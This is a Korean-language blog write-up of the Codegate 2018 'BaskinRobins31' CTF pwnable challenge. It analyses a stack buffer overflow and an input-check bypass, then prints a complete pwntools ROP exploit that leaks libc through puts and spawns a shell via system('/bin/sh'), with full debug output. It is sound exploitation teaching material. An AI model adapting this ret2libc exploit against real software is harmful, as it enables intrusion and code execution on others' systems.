[Pwnable] Codegate 2018 - BaskinRobins31 본문

Layer 7

[Pwnable] Codegate 2018 - BaskinRobins31

disso1p1 2020. 9. 1. 16:41

 

 

 

checksec BaskinRobins31

 

[ main() ]

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int seed; // eax
  int cnt; // [rsp-8h] [rbp-8h]
  _BOOL4 turn; // [rsp-4h] [rbp-4h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  seed = time(0LL);
  srand(seed);
  cnt = 31;
  turn = 0;
  puts("### This game is similar to the BaskinRobins31 game. ###");
  puts("### The one that take the last match win ###");
  printf("There are %u number(s)\n", 31LL);
  while ( cnt > 0 )
  {
    if ( turn )
    {
      my_turn(&cnt);
      turn = 0;
    }
    else
    {
      turn = (unsigned __int64)your_turn(&cnt) != 0;
    }
    printf("remaining number(s) : %i \n", (unsigned int)cnt);
  }
  if ( turn )
  {
    puts("Wow! You win!");
    puts("Hint is : ROP");
  }
  else
  {
    puts("You lose!");
  }
  return 0;
}

 

cnt 를 31부터 수를 줄여가며 베스킨로빈스31 게임을 한다.

turn 이 0 일 때 your_turn() 을 호출하고, 1 일 때 my_turn() 을 호출한다.

 

my_turn() 은 컴퓨터 차례, your_turn() 은 내 차례이다.

 

my_turn() 은 우리 관심사가 아니기 때문에, your_turn() 코드를 봐보자.

 

 

[ your_turn() ]

__int64 __fastcall your_turn(_DWORD *cnt_ptr)
{
  __int64 result; // rax
  __int64 buf; // [rsp-B0h] [rbp-B0h]
  size_t buf_len; // [rsp-10h] [rbp-10h]
  int number; // [rsp-4h] [rbp-4h]

  number = 0;
  memset(&buf, 0, 0x96uLL);
  puts("How many numbers do you want to take ? (1-3)");
  buf_len = read(0, &buf, 0x190uLL);    // buffer overflow
  write(1, &buf, buf_len);
  putchar(10);
  number = strtoul((const char *)&buf, 0LL, 10);
  if ( check_decision(number) )
  {
    *cnt_ptr -= number;
    result = 1LL;
  }
  else
  {
    puts("Don't break the rules...:( ");
    result = 0LL;
  }
  return result;
}

your_turn() 은 먼저, read 함수로 buf 에 문자열을 입력 받고, 출력해준다.

 

 

strtoul()

strtoul 함수를 보면 이런 형식을 갖는다. 즉, 여기 코드로 해석해보면, buf 부터 10진수로 변환할 문자열을 찾고, 찾은 10진수 정수 값을 반환해 변수 number 에 저장한다.

 

그리고 check_decision() 으로 들어가 1 ~ 3 사이의 값인지 확인을 한 후 참이면 cnt 에서 입력한 정수 값을 뺀다.

 

 

 

여기서 나오는 취약점은 ..

 

1. read 함수에서 stack buffer overflow

 - buf 의 시작주소는 rbp-0xb0 인데, 최대 0x190 만큼 입력 받으므로, return address, 그 이상의 주소에 원하는 값으로 덮을 수 있다.

   ( stack canary 없으므로 )

2. check_decision() bypass

 - strtoul 함수가 숫자를 찾으면 그 숫자를 반환해주므로, 예를 들어 '1AAAAAAA' 으로 넣으면 number 에 1이 들어가 if 문에서                        check_decision 이 참으로 인식된다.

 

 

ASLR, NX-bit 보호기법이 걸려있다.

그럼 read 함수에서 RTL 기법으로 read@got 를 puts 함수로 leak 하고, base 를 구하고, libc 내부에 있는 "/bin/sh", system 함수의 주소를 각각 구한 후, 다시 read 함수에서 RTL 기법으로 system("/bin/sh"); 을 실행하면 되겠다.

 

 

근데 leak 을 하기 위해 한 턴 시간을 벌어야 한다.

leak 이 구해질 때는 main 함수가 종료되고, return address 로 뛴 후 출력된 주소로 leak 을 해야하는데,  위 2 번 취약점을 이용해 다시 read 함수를 받을 순 있지만, main 함수가 종료되지 않으므로 2 번 취약점을 사용할 수가 없다 ㅎㅎ

 

 

그럼 어떻게 해야되냐

 

leak 을 하고, main 함수로 다시 뛰어주면 된다.

 

그럼 다시 main 함수가 시작될 것이고, 다시 read 함수로 buf 에 문자열을 받을 수 있다.

 

 

[ exploit ]

from pwn import *

context.log_level = 'debug'

p = process('./BaskinRobins31')
e = ELF('./BaskinRobins31')
libc = e.libc

prdi = 0x0000000000400bc3

pay = ''
pay += 'A'*(0xB0+8)
pay += p64(prdi)
pay += p64(e.got['puts'])
pay += p64(e.plt['puts'])
pay += p64(e.symbols['main'])

p.sendlineafter('(1-3)\n', pay)

leak = u64(p.recvuntil('\x7f')[-6:]+"\x00\x00")
base = leak - libc.symbols['puts']

log.info('base : ' + hex(base))

pay = ''
pay += 'A'*(0xb0+8)
pay += p64(prdi)
pay += p64(base + next(libc.search('/bin/sh')))
pay += p64(base + libc.symbols['system'])

p.sendlineafter('(1-3)\n', pay)

p.interactive()

 

 

[ result ]

disso1p1@ginmoo:~/Desktop/layer7/rop_practice$ python payload.py 
[+] Starting local process './BaskinRobins31' argv=['./BaskinRobins31'] : pid 4283
[DEBUG] PLT 0x4006b0 putchar
[DEBUG] PLT 0x4006c0 puts
[DEBUG] PLT 0x4006d0 write
[DEBUG] PLT 0x4006e0 printf
[DEBUG] PLT 0x4006f0 memset
[DEBUG] PLT 0x400700 read
[DEBUG] PLT 0x400710 __libc_start_main
[DEBUG] PLT 0x400720 srand
[DEBUG] PLT 0x400730 time
[DEBUG] PLT 0x400740 setvbuf
[DEBUG] PLT 0x400750 strtoul
[DEBUG] PLT 0x400760 sleep
[DEBUG] PLT 0x400770 __gmon_start__
[*] '/home/disso1p1/Desktop/layer7/rop_practice/BaskinRobins31'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[DEBUG] PLT 0x1f7f0 realloc
[DEBUG] PLT 0x1f800 __tls_get_addr
[DEBUG] PLT 0x1f820 memalign
[DEBUG] PLT 0x1f850 _dl_find_dso_for_object
[DEBUG] PLT 0x1f870 calloc
[DEBUG] PLT 0x1f8a0 malloc
[DEBUG] PLT 0x1f8a8 free
[*] u'/lib/x86_64-linux-gnu/libc-2.23.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[DEBUG] Received 0xaa bytes:
    '### This game is similar to the BaskinRobins31 game. ###\n'
    '### The one that take the last match win ###\n'
    'There are 31 number(s)\n'
    'How many numbers do you want to take ? (1-3)\n'
[DEBUG] Sent 0xd9 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    000000b0  41 41 41 41  41 41 41 41  c3 0b 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    000000c0  20 20 60 00  00 00 00 00  c0 06 40 00  00 00 00 00  │  `·│····│··@·│····│
    000000d0  4b 0a 40 00  00 00 00 00  0a                        │K·@·│····│·│
    000000d9
[DEBUG] Received 0x1a7 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    000000a0  d9 00 00 00  00 00 00 00  41 41 41 41  41 41 41 41  │····│····│AAAA│AAAA│
    000000b0  41 41 41 41  41 41 41 41  c3 0b 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    000000c0  20 20 60 00  00 00 00 00  c0 06 40 00  00 00 00 00  │  `·│····│··@·│····│
    000000d0  4b 0a 40 00  00 00 00 00  0a 0a 44 6f  6e 27 74 20  │K·@·│····│··Do│n't │
    000000e0  62 72 65 61  6b 20 74 68  65 20 72 75  6c 65 73 2e  │brea│k th│e ru│les.│
    000000f0  2e 2e 3a 28  20 0a a0 96  8f fb ea 7f  0a 23 23 23  │..:(│ ···│····│·###│
    00000100  20 54 68 69  73 20 67 61  6d 65 20 69  73 20 73 69  │ Thi│s ga│me i│s si│
    00000110  6d 69 6c 61  72 20 74 6f  20 74 68 65  20 42 61 73  │mila│r to│ the│ Bas│
    00000120  6b 69 6e 52  6f 62 69 6e  73 33 31 20  67 61 6d 65  │kinR│obin│s31 │game│
    00000130  2e 20 23 23  23 0a 23 23  23 20 54 68  65 20 6f 6e  │. ##│#·##│# Th│e on│
    00000140  65 20 74 68  61 74 20 74  61 6b 65 20  74 68 65 20  │e th│at t│ake │the │
    00000150  6c 61 73 74  20 6d 61 74  63 68 20 77  69 6e 20 23  │last│ mat│ch w│in #│
    00000160  23 23 0a 54  68 65 72 65  20 61 72 65  20 33 31 20  │##·T│here│ are│ 31 │
    00000170  6e 75 6d 62  65 72 28 73  29 0a 48 6f  77 20 6d 61  │numb│er(s│)·Ho│w ma│
    00000180  6e 79 20 6e  75 6d 62 65  72 73 20 64  6f 20 79 6f  │ny n│umbe│rs d│o yo│
    00000190  75 20 77 61  6e 74 20 74  6f 20 74 61  6b 65 20 3f  │u wa│nt t│o ta│ke ?│
    000001a0  20 28 31 2d  33 29 0a                               │ (1-│3)·│
    000001a7
[*] base : 0x7feafb88a000
[DEBUG] Sent 0xd1 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    000000b0  41 41 41 41  41 41 41 41  c3 0b 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    000000c0  17 6e a1 fb  ea 7f 00 00  a0 f3 8c fb  ea 7f 00 00  │·n··│····│····│····│
    000000d0  0a                                                  │·│
    000000d1
[*] Switching to interactive mode
[DEBUG] Received 0xee bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    000000a0  d1 00 00 00  00 00 00 00  41 41 41 41  41 41 41 41  │····│····│AAAA│AAAA│
    000000b0  41 41 41 41  41 41 41 41  c3 0b 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    000000c0  17 6e a1 fb  ea 7f 00 00  a0 f3 8c fb  ea 7f 00 00  │·n··│····│····│····│
    000000d0  0a 0a 44 6f  6e 27 74 20  62 72 65 61  6b 20 74 68  │··Do│n't │brea│k th│
    000000e0  65 20 72 75  6c 65 73 2e  2e 2e 3a 28  20 0a        │e ru│les.│..:(│ ·│
    000000ee
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�\x00\x00\x00AAAAAAAAAAAAAAAA�
                                                                                         @\x00\x00\x00n\xa1��\xa0����\x7f\x00

Don't break the rules...:( 
$ id
[DEBUG] Sent 0x3 bytes:
    'id\n'
[DEBUG] Received 0x87 bytes:
    'uid=1000(disso1p1) gid=1000(disso1p1) groups=1000(disso1p1),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)\n'
uid=1000(disso1p1) gid=1000(disso1p1) groups=1000(disso1p1),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$  

 

 

 

베스킨로빈스31 게임을 응용할 필요 없이 그냥 단순 ROP 문제였다.

'Layer 7' 카테고리의 다른 글

객체 지향 프로그래밍  (0) 2020.09.10
운영체제 메모리 할당 알고리즘  (0) 2020.09.02
바이너리 분석 2 - RTL ( NX-bit bypass )  (0) 2020.08.25
BOF 예제 분석  (0) 2020.08.16
DreamHack - string ( pwnable ) write up  (0) 2020.08.07
Comments